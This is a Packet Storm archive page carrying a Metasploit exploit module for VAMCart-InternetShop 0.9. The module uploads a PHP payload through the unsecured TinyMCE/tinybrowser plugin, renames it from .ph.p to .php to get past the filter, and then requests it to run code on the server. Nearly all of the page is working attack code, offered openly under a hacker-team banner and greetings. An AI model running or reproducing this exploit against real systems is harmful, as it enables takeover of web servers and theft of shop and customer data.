what you don't know can hurt you

VAMCart-InternetShop 0.9 File Upload Code Execution

VAMCart-InternetShop 0.9 File Upload Code Execution
Posted May 29, 2012
Authored by KedAns-Dz | Site metasploit.com

This Metasploit module exploits a vulnerability in the TinyMCE/tinybrowser plugin. This plugin is not secured in version 0.9 of VAMCart and allows the upload of files on the remote server. By renaming the uploaded file this vulnerability can be used to upload/execute code on the affected system.

tags | exploit, remote
MD5 | 712471955c8549eb8b347b1f11910b35

VAMCart-InternetShop 0.9 File Upload Code Execution

Change Mirror Download
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

###
# Title : VAMCart-InternetShop v0.9 (TinyBrowser) File Upload Code Execution
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com / @1337day.com / @exploit-id.com / @dis9.com)
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com | www.inj3ct0rs.com
# FaCeb0ok : http://fb.me/Inj3ct0rK3d
# Friendly Sites : www.dis9.com * www.r00tw0rm.com * www.exploit-id.com
# platform : php
# Type : Metasploit
# Security Risk : Critical
# Tested on : Windows XP-SP3 (Fr) / Ubuntu 10.10
###

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * soucha |
# | ***** KinG Of PiraTeS * The g0bl!n * dr.R!dE ***** |
# | ------------------------------------------------- < |
##

# <3 <3 Greetings t0 Palestine <3 <3

# Download : [http://vamcart.googlecode.com/files/vamcart.zip]

### (!) Exploit ==>

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'VAMCart-InternetShop v0.9 (TinyBrowser) File Upload Code Execution',
'Description' => %q{
This module exploits a vulnerability in the TinyMCE/tinybrowser plugin.
This plugin is not secured in version 0.9 of VAMCart and allows the upload
of files on the remote server.
By renaming the uploaded file this vulnerability can be used to upload/execute
code on the affected system.
},
'Author' => [ 'KedAns-Dz <ked-h[at]1337day.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['URL', '0-day'], # New p0c/0-day
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
'Space' => 1024,
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Mai 29 2012',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, "VAMCart directory path", "/"]),
], self.class)
end

def check
res = send_request_raw({
'uri' => datastore['URI'] + '/js/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder='
}, 25)

if (res and res.body =~ /flexupload.swf/)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe
end


def retrieve_obfuscation()

end


def exploit

cmd_php = '<?php ' + payload.encoded + '?>'

# Generate some random strings
cmdscript = rand_text_alpha_lower(20)
boundary = rand_text_alphanumeric(6)

# Static files
directory = '/files/'
tinybrowserpath = '/js/tiny_mce/plugins/tinybrowser/'
cmdpath = directory + cmdscript

# Get obfuscation code (needed to upload files)
obfuscation_code = nil
res = send_request_raw({
'uri' => datastore['URI'] + tinybrowserpath + '/upload.php?type=file&folder='
}, 25)

if (res)

if(res.body =~ /"obfus", "((\w)+)"\)/)
obfuscation_code = $1
print_status("Successfully retrieved obfuscation code: #{obfuscation_code}")
else
print_error("Error retrieving obfuscation code!")
return
end
end



# Upload shellcode (file ending .ph.p)
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"
data << "#{cmdscript}.ph.p\r\n--#{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n"
data << "Content-Type: application/octet-stream\r\n\r\n"
data << cmd_php
data << "\r\n--#{boundary}--"

res = send_request_raw({
'uri' => datastore['URI'] + tinybrowserpath + "/upload_file.php?folder=/files/&type=file&feid=&obfuscate=#{obfuscation_code}&sessidpass=",
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Length' => data.length,
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
}
}, 25)

if (res and res.body =~ /File Upload Success/)
print_status("Successfully uploaded #{cmdscript}.ph.p")
else
print_error("Error uploading #{cmdscript}.ph.p")
end


# Complete the upload process (rename file)
print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p")
res = send_request_raw({
'uri' => datastore['URI'] + tinybrowserpath + 'upload_process.php?folder=/files/&type=file&feid=&filetotal=1'
})


# Rename the file from .ph.p to .php
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['URI'] + tinybrowserpath + '/edit.php?type=file&folder=',
'vars_post' =>
{
'actionfile[0]' => "#{cmdscript}.ph.p",
'renameext[0]' => 'p',
'renamefile[0]' => "#{cmdscript}.ph",
'sortby' => 'name',
'sorttype' => 'asc',
'showpage' => '0',
'action' => 'rename',
'commit' => '',

}
}, 10)

if (res and res.body =~ /successfully renamed./)
print_status ("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")
else
print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php")
end


# Finally call the payload
print_status("Calling payload: #{cmdscript}.php")
res = send_request_raw({
'uri' => "#{datastore['URI'] }files/#{cmdscript}.php"
}, 25)


end
end

### << ThE|End

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]===============================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Caddy-Dz * Mennouchi Islem * Rizky Oz * HMD-Cr3w
# +> Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (1337day.com) * CrosS (r00tw0rm.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * Angel Injection
# NuxbieCyber (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * TM.mOsta * HD Moore
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X * KeyStr0ke
# JF * Kha&miX * Ev!LsCr!pT_Dz * KinG Of PiraTeS * TrOoN * T0xic * L3b-r1Z * Chevr0sky * Black-ID * Dis9-UE
# packetstormsecurity.org * metasploit.com * r00tw0rm.com * OWASP Dz * All Security and Exploits Webs ..
#===========================================================================================================

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    12 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    16 Files
  • 22
    May 22nd
    13 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close